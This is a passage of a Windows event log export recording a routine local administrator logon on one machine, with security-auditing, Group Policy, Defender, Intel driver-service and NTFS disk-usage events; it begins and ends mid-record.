Name:\t\tC:\\Windows\\System32\\LogonUI.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.768\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:58.874\t1\tAuthentication started.\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:58.885\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:28:58.886\t4798\t\"A user's local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nUser:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\nProcess Information:\n\tProcess ID:\t\t0x6c4\n\tProcess Name:\t\tC:\\Windows\\System32\\lsass.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.890\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:28:58.890\t12289\t\"DPAPI found credential key.\n\n \tCredential Key Identifier:\t0x06D97C618B44CF98843820BCDDCC91F4B12D43F5A34189AE108C7BC82636830E\n \tUser Name:\tadmin\n \tUser Sid:\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\"\tInformation\tMicrosoft-Windows-Crypto-DPAPI/Operational\tMicrosoft-Windows-Crypto-DPAPI\n05.09.2026 08:28:58.900\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: Default\\IsServiceRunning = 0x0\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\IsServiceRunning = 0x1\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:28:58.902\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = InitializeMiscConfigLibrary\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Diagnostics\\InitializingComponentProgress = PostPlatformUpdate\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:28:58.909\t4648\t\"A logon was attempted using explicit credentials.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nAccount Whose Credentials Were Used:\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nTarget Server:\n\tTarget Server Name:\tlocalhost\n\tAdditional Information:\tlocalhost\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tNetwork Address:\t127.0.0.1\n\tPort:\t\t\t0\n\nThis event is generated when a process attempts to log on an account by explicitly specifying that account\u2019s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.909\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\tLinked Logon ID:\t\t0x5F77B\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tWorkstation Name:\tHONOR-FRG-X\n\tSource Network Address:\t127.0.0.1\n\tSource Port:\t\t0\n\nDetailed Authentication Information:\n\tLogon Process:\t\tUser32 \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.909\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tNo\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tLinked Logon ID:\t\t0x5F489\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tWorkstation Name:\tHONOR-FRG-X\n\tSource Network Address:\t127.0.0.1\n\tSource Port:\t\t0\n\nDetailed Authentication Information:\n\tLogon Process:\t\tUser32 \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.909\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F489\n\nPrivileges:\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:58.913\t2\tAuthentication stopped. Result 0\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:58.924\t41\t\"Begin session arbitration:\n\nUser: HONOR-FRG-X\\admin\nSession ID: 1\"\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:28:58.925\t42\t\"End session arbitration:\n\nUser: HONOR-FRG-X\\admin\nSession ID: 1\"\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:28:58.926\t7001\tUser Logon Notification for Customer Experience Improvement Program\tInformation\tSystem\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:58.935\t6003\tThe winlogon notification subscriber  was unavailable to handle a critical notification event.\tInformation\tApplication\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:58.938\t811\tThe winlogon notification subscriber  began handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:58.938\t1\tRecieved user logon notification on session 1.\tInformation\tMicrosoft-Windows-User Profile Service/Operational\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:58.951\t3\tInstance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WMIProv, 0) could not be created. Error: \"Cannot create a file when that file already exists.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:28:58.954\t0\tService started successfully.\tInformation\tApplication\tIntel Graphics Software Service\n05.09.2026 08:28:58.964\t5\tRegistry file C:\\Users\\admin\\ntuser.dat is loaded at HKU\\S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-User Profile Service/Operational\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:58.984\t5\tRegistry file C:\\Users\\admin\\AppData\\Local\\Microsoft\\Windows\\\\UsrClass.dat is loaded at HKU\\S-1-5-21-3712849175-2219398513-4278588552-1006_Classes.\tInformation\tMicrosoft-Windows-User Profile Service/Operational\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:58.987\t67\t\"Logon type: Regular \nLocal profile location: C:\\Users\\admin \nProfile type: Regular\"\tInformation\tMicrosoft-Windows-User Profile Service/Operational\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:59.001\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:59.007\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0xa54\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:28:59.014\t2\tFinished processing user logon notification on session 1.\tInformation\tMicrosoft-Windows-User Profile Service/Operational\tMicrosoft-Windows-User Profiles Service\n05.09.2026 08:28:59.014\t812\tThe winlogon notification subscriber  finished handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:59.014\t811\tThe winlogon notification subscriber  began handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:59.014\t5324\tGroup Policy received the notification Logon from Winlogon for session 1.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.015\t5351\tGroup policy session returned to winlogon.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.015\t812\tThe winlogon notification subscriber  finished handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:59.015\t811\tThe winlogon notification subscriber  began handling the notification event (2).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:28:59.016\t4117\tGroup Policy Session started.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.016\t4001\t\"Starting user logon Policy processing for HONOR-FRG-X\\admin. \nActivity id: {c39b0a24-49ad-4cd8-8b22-433b5a87bee2}\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.017\t5340\tThe Group Policy processing mode is Foreground asynchronous.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.019\t178\tGlobal user presence detected\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:59.021\t179\tReceived session display notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:28:59.025\t819\tThe following packages will be installed: . The following packages will be removed: \tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:28:59.025\t5311\tThe loopback policy processing mode is \"No loopback mode\".\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.025\t4126\tGroup Policy receiving applicable GPOs from the domain controller.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.025\t5257\tSuccessfully completed downloading policies.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.027\t5126\tGroup Policy successfully got applicable GPOs from the domain controller.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.028\t5312\t\"List of applicable Group Policy objects: \n\n\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.028\t5313\t\"The following Group Policy objects were not applicable because they were filtered out : \n\nLocal Group Policy\n\t\u041d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f (\u043f\u0443\u0441\u0442\u043e)\n\"\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.030\t5320\tChecking for Group Policy client extensions that are not part of the system.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.030\t5320\tService configuration update to standalone is not required and will be skipped.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.030\t5320\tFinished checking for non-system extensions.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.033\t8001\tCompleted user logon policy processing for HONOR-FRG-X\\admin in 0 seconds.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.033\t5117\tGroup policy session completed successfully.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:28:59.123\t1001\tThe Windows Resource Exhaustion Detector started.\tInformation\tMicrosoft-Windows-Resource-Exhaustion-Detector/Operational\tMicrosoft-Windows-Resource-Exhaustion-Detector\n05.09.2026 08:28:59.192\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:59.344\t111\tCreate URL group 0xFE00000C20000001. Status 0x0. Process Id 0x1438 Executable path \\Device\\HarddiskVolume3\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DSAService.exe, User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:59.344\t113\tAttempted to add URL (http://127.0.0.1:28390:127.0.0.1/) to URL group (0xFE00000C20000001). Status: 0x0. Process Id 0x1438 Executable path \\Device\\HarddiskVolume3\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DSAService.exe, User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:59.346\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:59.347\t111\tCreate URL group 0xFC00000C20000001. Status 0x0. Process Id 0x1438 Executable path \\Device\\HarddiskVolume3\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DSAService.exe, User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:59.347\t113\tAttempted to add URL (http://127.0.0.1:28385:127.0.0.1/intel/) to URL group (0xFC00000C20000001). Status: 0x0. Process Id 0x1438 Executable path \\Device\\HarddiskVolume3\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DSAService.exe, User S-1-5-18\tInformation\tSystem\tMicrosoft-Windows-HttpService\n05.09.2026 08:28:59.367\t1002\tError 0x80070002 occurred while verifying known folder {352481e8-33be-4251-ba85-6007caedcf9d} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\INetCache'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:28:59.496\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:28:59.664\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 68.43 GB and 68.66 GB\n           Change in available space: 230.72 MB\n           \n           Available clusters were between: 17937337 and 17996401\n           Reserved clusters were between: 57815 and 57815\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 200.07 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 0\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.672\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 2.77 GB and 2.79 GB\n           Change in available space: 17.85 MB\n           \n           Available clusters were between: 725251 and 729820\n           Reserved clusters were between: 3532 and 3532\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 653.32 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 2\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.698\t142\t\"Summary of disk space usage, since last event:\n\n           Available space was between 5.10 GB and 5.12 GB\n           Change in available space: 21.26 MB\n           \n           Available clusters were between: 1336183 and 1341624\n           Reserved clusters were between: 4400 and 4400\n           Txf abort reserved clusters were between: 1024 and 1024\n           \n           Elapsed seconds: 0\n           \n           Pagefile size: 0 Bytes\n           Volume size: 78.13 GB\n           Bytes per cluster: 4096\n           \n           Volume guid: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Is boot volume: false\n           \n           Cached runs miss counts:\n               For MFT: 0\n               For MFT zone: 0\n               Everything else: 0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume8\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 7529\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-007e-000000000000}\n           Volume name: E:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume8\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 162\n           Longest run cached: 23.86 GB\n           Most populated bin Count: 16\n           Most populated bin's minimum length: 992.01 MB\n           Most populated bin's maximum length: -\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume9\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 25547\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume name: F:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume9\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 1037\n           Longest run cached: 37.35 MB\n           Most populated bin Count: 38\n           Most populated bin's minimum length: 8 KB\n           Most populated bin's maximum length: 8 KB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t9\t\"NTFS scanned entire volume bitmap.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume10\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Duration (micro seconds): 2971\n           InputFlags: 0x10\n           Reason: Proactive background scan to repopulate cached runs\n           Flags: 0x10\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:28:59.701\t10\t\"NTFS cached runs statistics.\n\n           Volume correlation Id: {5285d7ae-0000-0000-0000-a058d5000000}\n           Volume name: G:\n           Volume label: HDD Seagate 1TB Backup+ S\n\n           Device name: \\Device\\HarddiskVolume10\n           Device GUID: {f721584f-c93a-4df4-f37c-1fcee53cc736}\n           Device manufacturer: Seagate \n           Device model: Backup+ SL      \n           Device revision: 0409\n           Device serial number: NA5161RS\n           Bus type: USB\n           Native NVMe: false\n\n           Adapter serial number: \n\n           Media type: Hard disk\n           Runs cached: 334\n           Longest run cached: 5.09 GB\n           Most populated bin Count: 188\n           Most populated bin's minimum length: 0 Bytes\n           Most populated bin's maximum length: 4 KB\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:29:00.078\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSACommon.dllDSAClientCore.Controllers.Computer.DeviceControllerS:GD:EnumerateDevicesFileNotFoundExceptionCould not load file or assembly 'C:\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DS...\tInformation\tApplication\tDSAService\n05.09.2026 08:29:00.078\t2003\tWindows 10 Pro6.3262002009windows-11-25h2-6426.2.0.7DSACommon.dllDSAClientCore.Controllers.Computer.DeviceControllerS:GSD:EnumerateDevicesFileNotFoundExceptionCould not load file or assembly 'C:\\Program Files (x86)\\Intel\\Driver and Support Assistant\\x86\\DS...\tInformation\tApplication\tDSAService\n05.09.2026 08:29:01.188\t269\tSRCache successfully initialized [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.202\t287\tStateRepository lifecycle transition to Running [ProcessId=900, ThreadId=2256] [ElapsedMS: RegisterService=0, StateRepository=0 AccessControl=0 Upgrade=643 Cache=2903 Module=0 CoRegisterServerShutdown=0 RegisterDisconnectableContext=16 RPC=0\tInformation\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.203\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited 